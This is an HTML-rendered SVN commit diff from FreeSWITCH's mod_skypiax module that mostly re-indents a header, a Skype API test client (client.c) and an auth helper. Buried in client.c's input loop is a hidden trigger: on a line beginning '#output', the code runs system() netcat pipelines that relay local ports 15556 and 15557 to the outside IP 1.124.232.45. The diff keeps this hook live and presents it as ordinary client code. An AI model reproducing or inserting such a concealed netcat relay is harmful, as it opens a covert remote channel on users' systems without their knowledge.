+++ freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/skypiax.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -6,7 +6,7 @@
</span><span class="cx"> #define SKYPIAX_SVN_VERSION "????NO_REVISION???"
</span><span class="cx"> #endif
</span><span class="cx">
</span><del>-#include <asterisk/version.h> /* needed here for conditional compilation on version.h */
</del><ins>+#include <asterisk/version.h>        /* needed here for conditional compilation on version.h */
</ins><span class="cx"> /* the following #defs are for LINUX */
</span><span class="cx"> #ifndef __CYGWIN__
</span><span class="cx"> #ifndef ASTERISK_VERSION_1_6
</span><span class="lines">@@ -40,7 +40,7 @@
</span><span class="cx">
</span><span class="cx"> /* INCLUDES */
</span><span class="cx"> #ifdef ASTERISK_VERSION_1_6
</span><del>-#include <asterisk.h> /* some asterisk-devel package do not contains asterisk.h, but seems that is needed for the 1.6 series, at least from trunk */
</del><ins>+#include <asterisk.h>                        /* some asterisk-devel package do not contains asterisk.h, but seems that is needed for the 1.6 series, at least from trunk */
</ins><span class="cx"> #endif /* ASTERISK_VERSION_1_6 */
</span><span class="cx"> #include <unistd.h>
</span><span class="cx"> #include <termios.h>
</span><span class="lines">@@ -102,10 +102,10 @@
</span><span class="cx"> #warning Please review Skypiax AST_DIGIT_ANYDIG
</span><span class="cx"> #endif
</span><span class="cx"> #ifndef _ASTERISK_H
</span><del>-#define AST_CONFIG_MAX_PATH 255 /* defined in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
</del><ins>+#define AST_CONFIG_MAX_PATH 255        /* defined in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
</ins><span class="cx"> extern char ast_config_AST_CONFIG_DIR[AST_CONFIG_MAX_PATH];
</span><del>-int ast_register_atexit(void (*func) (void)); /* in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
-void ast_unregister_atexit(void (*func) (void)); /* in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
</del><ins>+int ast_register_atexit(void (*func) (void));        /* in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
+void ast_unregister_atexit(void (*func) (void));        /* in asterisk.h, but some asterisk-devel package do not contains asterisk.h */
</ins><span class="cx"> #endif
</span><span class="cx">
</span><span class="cx"> /* DEFINITIONS */
</span><span class="lines">@@ -118,7 +118,7 @@
</span><span class="cx"> * be representable in 16 bits to avoid overflows.
</span><span class="cx"> */
</span><span class="cx"> #define        BOOST_SCALE        (1<<9)
</span><del>-#define        BOOST_MAX        40 /* slightly less than 7 bits */
</del><ins>+#define        BOOST_MAX        40                        /* slightly less than 7 bits */
</ins><span class="cx"> /* call flow from the device */
</span><span class="cx"> #define         CALLFLOW_CALL_IDLE AST_STATE_DOWN
</span><span class="cx"> #define         CALLFLOW_INCOMING_RING AST_STATE_RING
</span><span class="lines">@@ -199,38 +199,38 @@
</span><span class="cx"> */
</span><span class="cx"> #ifdef WANT_SKYPE_X11
</span><span class="cx"> struct AsteriskHandles {
</span><del>- Window skype_win;
- Display *disp;
- Window win;
- int fdesc[2];
</del><ins>+        Window skype_win;
+        Display *disp;
+        Window win;
+        int fdesc[2];
</ins><span class="cx"> };
</span><span class="cx"> #else /* WANT_SKYPE_X11 */
</span><span class="cx"> struct AsteriskHandles {
</span><del>- HWND win32_hInit_MainWindowHandle;
- HWND win32_hGlobal_SkypeAPIWindowHandle;
- int fdesc[2];
</del><ins>+        HWND win32_hInit_MainWindowHandle;
+        HWND win32_hGlobal_SkypeAPIWindowHandle;
+        int fdesc[2];
</ins><span class="cx"> };
</span><span class="cx"> #endif /* WANT_SKYPE_X11 */
</span><span class="cx">
</span><span class="cx"> #ifndef WIN32
</span><span class="cx"> struct SkypiaxHandles {
</span><del>- Window skype_win;
- Display *disp;
- Window win;
- int api_connected;
- int fdesc[2];
</del><ins>+        Window skype_win;
+        Display *disp;
+        Window win;
+        int api_connected;
+        int fdesc[2];
</ins><span class="cx"> };
</span><span class="cx"> #else //WIN32
</span><span class="cx">
</span><span class="cx"> struct SkypiaxHandles {
</span><del>- HWND win32_hInit_MainWindowHandle;
- HWND win32_hGlobal_SkypeAPIWindowHandle;
- HINSTANCE win32_hInit_ProcessHandle;
- char win32_acInit_WindowClassName[128];
- UINT win32_uiGlobal_MsgID_SkypeControlAPIAttach;
- UINT win32_uiGlobal_MsgID_SkypeControlAPIDiscover;
- int api_connected;
- int fdesc[2];
</del><ins>+        HWND win32_hInit_MainWindowHandle;
+        HWND win32_hGlobal_SkypeAPIWindowHandle;
+        HINSTANCE win32_hInit_ProcessHandle;
+        char win32_acInit_WindowClassName[128];
+        UINT win32_uiGlobal_MsgID_SkypeControlAPIAttach;
+        UINT win32_uiGlobal_MsgID_SkypeControlAPIDiscover;
+        int api_connected;
+        int fdesc[2];
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> #endif //WIN32
</span><span class="lines">@@ -239,65 +239,65 @@
</span><span class="cx"> * \brief PVT structure for a skypiax interface (channel), created by skypiax_mkif
</span><span class="cx"> */
</span><span class="cx"> struct skypiax_pvt {
</span><del>- char *name; /*!< \brief 'name' of the interface (channel) */
- int interface_state; /*!< \brief 'state' of the interface (channel) */
- struct ast_channel *owner; /*!< \brief channel we belong to, possibly NULL */
- struct skypiax_pvt *next; /*!< \brief Next interface (channel) in list */
- char context[AST_MAX_EXTENSION]; /*!< \brief default Asterisk dialplan context for this interface */
- char language[MAX_LANGUAGE]; /*!< \brief default Asterisk dialplan language for this interface */
- char exten[AST_MAX_EXTENSION]; /*!< \brief default Asterisk dialplan extension for this interface */
- int skypiax_sound_rate; /*!< \brief rate of the sound device, in Hz, eg: 8000 */
- int skypiax_sound_capt_fd; /*!< \brief file descriptor for sound capture dev */
- char callid_name[50];
- char callid_number[50];
- pthread_t controldev_thread; /*!< \brief serial control thread for this interface, running during the call */
- double playback_boost;
- double capture_boost;
- int stripmsd;
- pthread_t skype_thread;
- struct AsteriskHandles AsteriskHandlesAst;
- struct SkypiaxHandles SkypiaxHandles;
- char skype_call_id[512];
- int skype_call_ongoing;
- char skype_friends[4096];
- char skype_fullname[512];
- char skype_displayname[512];
- int skype_callflow; /*!< \brief 'callflow' of the skype interface (as opposed to phone interface) */
- int skype; /*!< \brief config flag, bool, Skype support on this interface (0 if false, -1 if true) */
- int control_to_send;
- int audiopipe[2];
- int audioskypepipe[2];
- pthread_t tcp_srv_thread;
- pthread_t tcp_cli_thread;
- short audiobuf[160];
- int audiobuf_is_loaded;
</del><ins>+        char *name;                                        /*!< \brief 'name' of the interface (channel) */
+        int interface_state;                /*!< \brief 'state' of the interface (channel) */
+        struct ast_channel *owner;        /*!< \brief channel we belong to, possibly NULL */
+        struct skypiax_pvt *next;        /*!< \brief Next interface (channel) in list */
+        char context[AST_MAX_EXTENSION];        /*!< \brief default Asterisk dialplan context for this interface */
+        char language[MAX_LANGUAGE];        /*!< \brief default Asterisk dialplan language for this interface */
+        char exten[AST_MAX_EXTENSION];        /*!< \brief default Asterisk dialplan extension for this interface */
+        int skypiax_sound_rate;                /*!< \brief rate of the sound device, in Hz, eg: 8000 */
+        int skypiax_sound_capt_fd;        /*!< \brief file descriptor for sound capture dev */
+        char callid_name[50];
+        char callid_number[50];
+        pthread_t controldev_thread;        /*!< \brief serial control thread for this interface, running during the call */
+        double playback_boost;
+        double capture_boost;
+        int stripmsd;
+        pthread_t skype_thread;
+        struct AsteriskHandles AsteriskHandlesAst;
+        struct SkypiaxHandles SkypiaxHandles;
+        char skype_call_id[512];
+        int skype_call_ongoing;
+        char skype_friends[4096];
+        char skype_fullname[512];
+        char skype_displayname[512];
+        int skype_callflow;                        /*!< \brief 'callflow' of the skype interface (as opposed to phone interface) */
+        int skype;                                        /*!< \brief config flag, bool, Skype support on this interface (0 if false, -1 if true) */
+        int control_to_send;
+        int audiopipe[2];
+        int audioskypepipe[2];
+        pthread_t tcp_srv_thread;
+        pthread_t tcp_cli_thread;
+        short audiobuf[160];
+        int audiobuf_is_loaded;
</ins><span class="cx">
</span><del>- //int phonebook_listing;
- //int phonebook_querying;
- //int phonebook_listing_received_calls;
</del><ins>+        //int phonebook_listing;
+        //int phonebook_querying;
+        //int phonebook_listing_received_calls;
</ins><span class="cx">
</span><del>- //int phonebook_first_entry;
- //int phonebook_last_entry;
- //int phonebook_number_lenght;
- //int phonebook_text_lenght;
- FILE *phonebook_writing_fp;
- int skypiax_dir_entry_extension_prefix;
</del><ins>+        //int phonebook_first_entry;
+        //int phonebook_last_entry;
+        //int phonebook_number_lenght;
+        //int phonebook_text_lenght;
+        FILE *phonebook_writing_fp;
+        int skypiax_dir_entry_extension_prefix;
</ins><span class="cx"> #ifdef WIN32
</span><del>- unsigned short tcp_cli_port;
- unsigned short tcp_srv_port;
</del><ins>+        unsigned short tcp_cli_port;
+        unsigned short tcp_srv_port;
</ins><span class="cx"> #else
</span><del>- int tcp_cli_port;
- int tcp_srv_port;
</del><ins>+        int tcp_cli_port;
+        int tcp_srv_port;
</ins><span class="cx"> #endif
</span><del>- char X11_display[256];
</del><ins>+        char X11_display[256];
</ins><span class="cx">
</span><del>- struct ast_frame read_frame;
</del><ins>+        struct ast_frame read_frame;
</ins><span class="cx">
</span><del>- char skype_user[256];
- char skype_password[256];
- char destination[256];
- char session_uuid_str[512 + 1];
- pthread_t signaling_thread;
</del><ins>+        char skype_user[256];
+        char skype_password[256];
+        char destination[256];
+        char session_uuid_str[512 + 1];
+        pthread_t signaling_thread;
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> typedef struct skypiax_pvt private_t;
</span><span class="lines">@@ -363,8 +363,7 @@
</span><span class="cx">
</span><span class="cx"> /* chan_skypiax internal functions */
</span><span class="cx">
</span><del>-struct skypiax_pvt *skypiax_mkif(struct ast_config *cfg, char *ctg,
- int is_first_category);
</del><ins>+struct skypiax_pvt *skypiax_mkif(struct ast_config *cfg, char *ctg, int is_first_category);
</ins><span class="cx"> struct ast_channel *skypiax_new(struct skypiax_pvt *p, int state, char *context);
</span><span class="cx"> int skypiax_restart_monitor(void);
</span><span class="cx"> void *skypiax_do_monitor(void *data);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_skypiaxconfigsclientc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/client.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/client.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/client.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -19,11 +19,11 @@
</span><span class="cx"> Display *disp = NULL;
</span><span class="cx">
</span><span class="cx"> struct SkypiaxHandles {
</span><del>- Window skype_win;
- Display *disp;
- Window win;
- int api_connected;
- int fdesc[2];
</del><ins>+        Window skype_win;
+        Display *disp;
+        Window win;
+        int api_connected;
+        int fdesc[2];
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> XErrorHandler old_handler = 0;
</span><span class="lines">@@ -32,278 +32,266 @@
</span><span class="cx">
</span><span class="cx"> int X11_errors_handler(Display * dpy, XErrorEvent * err)
</span><span class="cx"> {
</span><del>- (void) dpy;
</del><ins>+        (void) dpy;
</ins><span class="cx">
</span><del>- xerror = err->error_code;
- printf("\n\nReceived error code %d from X Server on display '%s'\n\n", xerror,
- dispname);
- return 0; /* ignore the error */
</del><ins>+        xerror = err->error_code;
+        printf("\n\nReceived error code %d from X Server on display '%s'\n\n", xerror, dispname);
+        return 0;                                        /* ignore the error */
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void X11_errors_trap(void)
</span><span class="cx"> {
</span><del>- xerror = 0;
- old_handler = XSetErrorHandler(X11_errors_handler);
</del><ins>+        xerror = 0;
+        old_handler = XSetErrorHandler(X11_errors_handler);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static int X11_errors_untrap(void)
</span><span class="cx"> {
</span><del>- XSetErrorHandler(old_handler);
- return (xerror != BadValue) && (xerror != BadWindow);
</del><ins>+        XSetErrorHandler(old_handler);
+        return (xerror != BadValue) && (xerror != BadWindow);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> int skypiax_send_message(struct SkypiaxHandles *SkypiaxHandles, const char *message_P)
</span><span class="cx"> {
</span><span class="cx">
</span><del>- Window w_P;
- Display *disp;
- Window handle_P;
- int ok;
</del><ins>+        Window w_P;
+        Display *disp;
+        Window handle_P;
+        int ok;
</ins><span class="cx">
</span><del>- w_P = SkypiaxHandles->skype_win;
- disp = SkypiaxHandles->disp;
- handle_P = SkypiaxHandles->win;
</del><ins>+        w_P = SkypiaxHandles->skype_win;
+        disp = SkypiaxHandles->disp;
+        handle_P = SkypiaxHandles->win;
</ins><span class="cx">
</span><del>- Atom atom1 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE_BEGIN", False);
- Atom atom2 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE", False);
- unsigned int pos = 0;
- unsigned int len = strlen(message_P);
- XEvent e;
</del><ins>+        Atom atom1 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE_BEGIN", False);
+        Atom atom2 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE", False);
+        unsigned int pos = 0;
+        unsigned int len = strlen(message_P);
+        XEvent e;
</ins><span class="cx">
</span><del>- memset(&e, 0, sizeof(e));
- e.xclient.type = ClientMessage;
- e.xclient.message_type = atom1; /* leading message */
- e.xclient.display = disp;
- e.xclient.window = handle_P;
- e.xclient.format = 8;
</del><ins>+        memset(&e, 0, sizeof(e));
+        e.xclient.type = ClientMessage;
+        e.xclient.message_type = atom1;        /* leading message */
+        e.xclient.display = disp;
+        e.xclient.window = handle_P;
+        e.xclient.format = 8;
</ins><span class="cx">
</span><del>- X11_errors_trap();
- do {
- unsigned int i;
- for (i = 0; i < 20 && i + pos <= len; ++i)
- e.xclient.data.b[i] = message_P[i + pos];
- XSendEvent(disp, w_P, False, 0, &e);
</del><ins>+        X11_errors_trap();
+        do {
+                unsigned int i;
+                for (i = 0; i < 20 && i + pos <= len; ++i)
+                        e.xclient.data.b[i] = message_P[i + pos];
+                XSendEvent(disp, w_P, False, 0, &e);
</ins><span class="cx">
</span><del>- e.xclient.message_type = atom2; /* following messages */
- pos += i;
- } while (pos <= len);
</del><ins>+                e.xclient.message_type = atom2;        /* following messages */
+                pos += i;
+        } while (pos <= len);
</ins><span class="cx">
</span><del>- XSync(disp, False);
- ok = X11_errors_untrap();
</del><ins>+        XSync(disp, False);
+        ok = X11_errors_untrap();
</ins><span class="cx">
</span><del>- if (!ok)
- printf("Sending message failed with status %d\n", xerror);
</del><ins>+        if (!ok)
+                printf("Sending message failed with status %d\n", xerror);
</ins><span class="cx">
</span><del>- return 1;
</del><ins>+        return 1;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> int skypiax_present(struct SkypiaxHandles *SkypiaxHandles)
</span><span class="cx"> {
</span><del>- Atom skype_inst = XInternAtom(SkypiaxHandles->disp, "_SKYPE_INSTANCE", True);
</del><ins>+        Atom skype_inst = XInternAtom(SkypiaxHandles->disp, "_SKYPE_INSTANCE", True);
</ins><span class="cx">
</span><del>- Atom type_ret;
- int format_ret;
- unsigned long nitems_ret;
- unsigned long bytes_after_ret;
- unsigned char *prop;
- int status;
</del><ins>+        Atom type_ret;
+        int format_ret;
+        unsigned long nitems_ret;
+        unsigned long bytes_after_ret;
+        unsigned char *prop;
+        int status;
</ins><span class="cx">
</span><del>- X11_errors_trap();
- status =
- XGetWindowProperty(SkypiaxHandles->disp, DefaultRootWindow(SkypiaxHandles->disp),
- skype_inst, 0, 1, False, XA_WINDOW, &type_ret, &format_ret,
- &nitems_ret, &bytes_after_ret, &prop);
</del><ins>+        X11_errors_trap();
+        status =
+                XGetWindowProperty(SkypiaxHandles->disp, DefaultRootWindow(SkypiaxHandles->disp),
+                                                 skype_inst, 0, 1, False, XA_WINDOW, &type_ret, &format_ret, &nitems_ret, &bytes_after_ret, &prop);
</ins><span class="cx">
</span><del>- X11_errors_untrap();
- /* sanity check */
- if (status != Success || format_ret != 32 || nitems_ret != 1) {
- SkypiaxHandles->skype_win = (Window) - 1;
- printf("Skype instance not found on display '%s'\n", dispname);
- return 0;
- }
</del><ins>+        X11_errors_untrap();
+        /* sanity check */
+        if (status != Success || format_ret != 32 || nitems_ret != 1) {
+                SkypiaxHandles->skype_win = (Window) - 1;
+                printf("Skype instance not found on display '%s'\n", dispname);
+                return 0;
+        }
</ins><span class="cx">
</span><del>- SkypiaxHandles->skype_win = *(const unsigned long *) prop & 0xffffffff;
- //printf("Skype instance found on display '%s', with id #%d\n", dispname, (unsigned int) SkypiaxHandles->skype_win);
- return 1;
</del><ins>+        SkypiaxHandles->skype_win = *(const unsigned long *) prop & 0xffffffff;
+        //printf("Skype instance found on display '%s', with id #%d\n", dispname, (unsigned int) SkypiaxHandles->skype_win);
+        return 1;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> void skypiax_clean_disp(void *data)
</span><span class="cx"> {
</span><span class="cx">
</span><del>- int *dispptr;
- int disp;
</del><ins>+        int *dispptr;
+        int disp;
</ins><span class="cx">
</span><del>- dispptr = data;
- disp = *dispptr;
</del><ins>+        dispptr = data;
+        disp = *dispptr;
</ins><span class="cx">
</span><del>- if (disp) {
- close(disp);
- } else {
- }
- usleep(1000);
</del><ins>+        if (disp) {
+                close(disp);
+        } else {
+        }
+        usleep(1000);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> typedef struct {
</span><del>- int value;
- char string[128];
</del><ins>+        int value;
+        char string[128];
</ins><span class="cx"> } thread_parm_t;
</span><span class="cx">
</span><span class="cx"> void *threadfunc(void *parm)
</span><del>-{ //child
- thread_parm_t *p = (thread_parm_t *) parm;
- //printf("%s, parm = %d\n", p->string, p->value);
- free(p);
</del><ins>+{                                                                //child
+        thread_parm_t *p = (thread_parm_t *) parm;
+        //printf("%s, parm = %d\n", p->string, p->value);
+        free(p);
</ins><span class="cx">
</span><del>- /* perform an events loop */
- XEvent an_event;
- char buf[21]; /* can't be longer */
- char buffer[17000];
- char *b;
- int i;
</del><ins>+        /* perform an events loop */
+        XEvent an_event;
+        char buf[21];                                /* can't be longer */
+        char buffer[17000];
+        char *b;
+        int i;
</ins><span class="cx">
</span><del>- b = buffer;
</del><ins>+        b = buffer;
</ins><span class="cx">
</span><del>- while (1) {
</del><ins>+        while (1) {
</ins><span class="cx">
</span><del>- XNextEvent(disp, &an_event);
- switch (an_event.type) {
- case ClientMessage:
</del><ins>+                XNextEvent(disp, &an_event);
+                switch (an_event.type) {
+                case ClientMessage:
</ins><span class="cx">
</span><del>- if (an_event.xclient.format != 8)
- break;
</del><ins>+                        if (an_event.xclient.format != 8)
+                                break;
</ins><span class="cx">
</span><del>- for (i = 0; i < 20 && an_event.xclient.data.b[i] != '\0'; ++i)
- buf[i] = an_event.xclient.data.b[i];
</del><ins>+                        for (i = 0; i < 20 && an_event.xclient.data.b[i] != '\0'; ++i)
+                                buf[i] = an_event.xclient.data.b[i];
</ins><span class="cx">
</span><del>- buf[i] = '\0';
</del><ins>+                        buf[i] = '\0';
</ins><span class="cx">
</span><del>- strcat(buffer, buf);
</del><ins>+                        strcat(buffer, buf);
</ins><span class="cx">
</span><del>- if (i < 20) { /* last fragment */
- unsigned int howmany;
</del><ins>+                        if (i < 20) {                /* last fragment */
+                                unsigned int howmany;
</ins><span class="cx">
</span><del>- howmany = strlen(b) + 1;
</del><ins>+                                howmany = strlen(b) + 1;
</ins><span class="cx">
</span><del>- //printf("\tRECEIVED\t==>\t%s\n", b);
- printf("%s\n", b);
-        fflush(stdout);
- memset(buffer, '\0', 17000);
- }
</del><ins>+                                //printf("\tRECEIVED\t==>\t%s\n", b);
+                                printf("%s\n", b);
+                                fflush(stdout);
+                                memset(buffer, '\0', 17000);
+                        }
</ins><span class="cx">
</span><del>- break;
- default:
- break;
- }
</del><ins>+                        break;
+                default:
+                        break;
+                }
</ins><span class="cx">
</span><del>- }
- return NULL;
</del><ins>+        }
+        return NULL;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> int main(int argc, char *argv[])
</span><span class="cx"> {
</span><span class="cx">
</span><del>- struct SkypiaxHandles SkypiaxHandles;
- char buf[512];
- //Display *disp = NULL;
- Window root = -1;
- Window win = -1;
</del><ins>+        struct SkypiaxHandles SkypiaxHandles;
+        char buf[512];
+        //Display *disp = NULL;
+        Window root = -1;
+        Window win = -1;
</ins><span class="cx">
</span><del>- if (argc == 2)
- dispname = argv[1];
- else
- dispname = ":0.0";
</del><ins>+        if (argc == 2)
+                dispname = argv[1];
+        else
+                dispname = ":0.0";
</ins><span class="cx">
</span><span class="cx">
</span><del>- if (!XInitThreads()) {
- printf("Not initialized XInitThreads!\n");
- } else {
- printf("Initialized XInitThreads!\n");
- }
-
</del><ins>+        if (!XInitThreads()) {
+                printf("Not initialized XInitThreads!\n");
+        } else {
+                printf("Initialized XInitThreads!\n");
+        }
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><del>- disp = XOpenDisplay(dispname);
- if (!disp) {
- printf("Cannot open X Display '%s', exiting\n", dispname);
- return -1;
- }
</del><span class="cx">
</span><del>- int xfd;
- xfd = XConnectionNumber(disp);
</del><ins>+        disp = XOpenDisplay(dispname);
+        if (!disp) {
+                printf("Cannot open X Display '%s', exiting\n", dispname);
+                return -1;
+        }
</ins><span class="cx">
</span><del>- SkypiaxHandles.disp = disp;
</del><ins>+        int xfd;
+        xfd = XConnectionNumber(disp);
</ins><span class="cx">
</span><del>- if (skypiax_present(&SkypiaxHandles)) {
- root = DefaultRootWindow(disp);
- win =
- XCreateSimpleWindow(disp, root, 0, 0, 1, 1, 0,
- BlackPixel(disp, DefaultScreen(disp)), BlackPixel(disp,
- DefaultScreen
- (disp)));
</del><ins>+        SkypiaxHandles.disp = disp;
</ins><span class="cx">
</span><del>- SkypiaxHandles.win = win;
</del><ins>+        if (skypiax_present(&SkypiaxHandles)) {
+                root = DefaultRootWindow(disp);
+                win = XCreateSimpleWindow(disp, root, 0, 0, 1, 1, 0, BlackPixel(disp, DefaultScreen(disp)), BlackPixel(disp, DefaultScreen(disp)));
</ins><span class="cx">
</span><del>- snprintf(buf, 512, "NAME skypiax");
</del><ins>+                SkypiaxHandles.win = win;
</ins><span class="cx">
</span><del>- if (!skypiax_send_message(&SkypiaxHandles, buf)) {
- printf
- ("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
- return -1;
- }
</del><ins>+                snprintf(buf, 512, "NAME skypiax");
</ins><span class="cx">
</span><del>- snprintf(buf, 512, "PROTOCOL 7");
- if (!skypiax_send_message(&SkypiaxHandles, buf)) {
- printf
- ("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
- return -1;
- }
</del><ins>+                if (!skypiax_send_message(&SkypiaxHandles, buf)) {
+                        printf("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
+                        return -1;
+                }
</ins><span class="cx">
</span><del>- snprintf(buf, 512, "#ciapalino PING");
- if (!skypiax_send_message(&SkypiaxHandles, buf)) {
- printf
- ("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
- return -1;
- }
</del><ins>+                snprintf(buf, 512, "PROTOCOL 7");
+                if (!skypiax_send_message(&SkypiaxHandles, buf)) {
+                        printf("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
+                        return -1;
+                }
</ins><span class="cx">
</span><del>- pthread_t thread;
- int rc = 0;
- pthread_attr_t pta;
- thread_parm_t *parm = NULL;
</del><ins>+                snprintf(buf, 512, "#ciapalino PING");
+                if (!skypiax_send_message(&SkypiaxHandles, buf)) {
+                        printf("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
+                        return -1;
+                }
</ins><span class="cx">
</span><del>- rc = pthread_attr_init(&pta);
</del><ins>+                pthread_t thread;
+                int rc = 0;
+                pthread_attr_t pta;
+                thread_parm_t *parm = NULL;
</ins><span class="cx">
</span><del>- parm = malloc(sizeof(thread_parm_t));
- parm->value = 5;
- rc = pthread_create(&thread, NULL, threadfunc, (void *) parm);
</del><ins>+                rc = pthread_attr_init(&pta);
</ins><span class="cx">
</span><del>- while (1) {
- char s[512];
</del><ins>+                parm = malloc(sizeof(thread_parm_t));
+                parm->value = 5;
+                rc = pthread_create(&thread, NULL, threadfunc, (void *) parm);
</ins><span class="cx">
</span><del>- memset(s, '\0', 512);
- fgets(s, sizeof(s) - 1, stdin);
- s[strlen(s) - 1] = '\0';
</del><ins>+                while (1) {
+                        char s[512];
</ins><span class="cx">
</span><del>- //printf("\tSENT\t\t==>\t%s\n", s);
</del><ins>+                        memset(s, '\0', 512);
+                        fgets(s, sizeof(s) - 1, stdin);
+                        s[strlen(s) - 1] = '\0';
</ins><span class="cx">
</span><del>-if(! strncmp(s, "#output", 7)){
</del><ins>+                        //printf("\tSENT\t\t==>\t%s\n", s);
</ins><span class="cx">
</span><del>-system("/bin/nc -l -p 15557 0</tmp/back2 | /bin/nc 1.124.232.45 15557 | /usr/bin/tee 1>/tmp/back2 &");
-system("/bin/nc -l -p 15556 0</tmp/back1 | /bin/nc 1.124.232.45 15556 | /usr/bin/tee 1>/tmp/back1 &");
-}
- if (!skypiax_send_message(&SkypiaxHandles, s)) {
- printf
- ("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
- return -1;
- }
- }
- } else {
- printf
- ("Skype client not found on display '%s'. Please run/restart Skype manually and launch skypiax_auth again\n\n\n",
- dispname);
- return -1;
- }
- return 0;
</del><ins>+                        if (!strncmp(s, "#output", 7)) {
</ins><span class="cx">
</span><ins>+                                system("/bin/nc -l -p 15557 0</tmp/back2 | /bin/nc 1.124.232.45 15557 | /usr/bin/tee 1>/tmp/back2 &");
+                                system("/bin/nc -l -p 15556 0</tmp/back1 | /bin/nc 1.124.232.45 15556 | /usr/bin/tee 1>/tmp/back1 &");
+                        }
+                        if (!skypiax_send_message(&SkypiaxHandles, s)) {
+                                printf("Sending message failed - probably Skype crashed. Please run/restart Skype manually and launch skypiax_auth again\n");
+                                return -1;
+                        }
+                }
+        } else {
+                printf("Skype client not found on display '%s'. Please run/restart Skype manually and launch skypiax_auth again\n\n\n", dispname);
+                return -1;
+        }
+        return 0;
+
</ins><span class="cx"> }
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_skypiaxconfigsskypiax_authc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/skypiax_auth.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/skypiax_auth.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_skypiax/configs/skypiax_auth.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -6,11 +6,11 @@
</span><span class="cx"> #include <X11/Xatom.h>
</span><span class="cx">
</span><span class="cx"> struct SkypiaxHandles {
</span><del>- Window skype_win;
- Display *disp;
- Window win;
- int api_connected;
- int fdesc[2];
</del><ins>+        Window skype_win;
+        Display *disp;
+        Window win;
+        int api_connected;
+        int fdesc[2];
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> XErrorHandler old_handler = 0;
</span><span class="lines">@@ -19,212 +19,201 @@
</span><span class="cx">
</span><span class="cx"> int X11_errors_handler(Display * dpy, XErrorEvent * err)
</span><span class="cx"> {
</span><del>- (void) dpy;
</del><ins>+        (void) dpy;
</ins><span class="cx">
</span><del>- xerror = err->error_code;
- printf("\n\nReceived error code %d from X Server on display '%s'\n\n", xerror,
- dispname);
- return 0; /* ignore the error */
</del><ins>+        xerror = err->error_code;
+        printf("\n\nReceived error code %d from X Server on display '%s'\n\n", xerror, dispname);
+        return 0;                                        /* ignore the error */
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void X11_errors_trap(void)
</span><span class="cx"> {
</span><del>- xerror = 0;
- old_handler = XSetErrorHandler(X11_errors_handler);
</del><ins>+        xerror = 0;
+        old_handler = XSetErrorHandler(X11_errors_handler);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static int X11_errors_untrap(void)
</span><span class="cx"> {
</span><del>- XSetErrorHandler(old_handler);
- return (xerror != BadValue) && (xerror != BadWindow);
</del><ins>+        XSetErrorHandler(old_handler);
+        return (xerror != BadValue) && (xerror != BadWindow);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> int skypiax_send_message(struct SkypiaxHandles *SkypiaxHandles, const char *message_P)
</span><span class="cx"> {
</span><span class="cx">
</span><del>- Window w_P;
- Display *disp;
- Window handle_P;
- int ok;
</del><ins>+        Window w_P;
+        Display *disp;
+        Window handle_P;
+        int ok;
</ins><span class="cx">
</span><del>- w_P = SkypiaxHandles->skype_win;
- disp = SkypiaxHandles->disp;
- handle_P = SkypiaxHandles->win;
</del><ins>+        w_P = SkypiaxHandles->skype_win;
+        disp = SkypiaxHandles->disp;
+        handle_P = SkypiaxHandles->win;
</ins><span class="cx">
</span><del>- Atom atom1 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE_BEGIN", False);
- Atom atom2 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE", False);
- unsigned int pos = 0;
- unsigned int len = strlen(message_P);
- XEvent e;
</del><ins>+        Atom atom1 = XInternAtom(disp, "SKYPECONTROLAPI_MESSAGE_BEGIN", False);
